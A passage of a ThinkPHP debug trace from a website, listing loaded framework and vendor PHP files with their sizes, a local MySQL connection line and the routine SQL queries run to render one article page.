  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000942s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001662s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.005745s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.004189s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001985s ]
  6. SELECT * FROM `set` [ RunTime:0.011437s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001781s ]
  8. SELECT * FROM `article` WHERE `id` = 497693 LIMIT 1 [ RunTime:0.004000s ]
  9. UPDATE `article` SET `lasttime` = 1783005977 WHERE `id` = 497693 [ RunTime:0.002539s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.005116s ]
  11. SELECT * FROM `article` WHERE `id` < 497693 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.005217s ]
  12. SELECT * FROM `article` WHERE `id` > 497693 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001399s ]
  13. SELECT * FROM `article` WHERE `id` < 497693 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.010383s ]
  14. SELECT * FROM `article` WHERE `id` < 497693 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.023400s ]
  15. SELECT * FROM `article` WHERE `id` < 497693 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004831s ]
0.212103s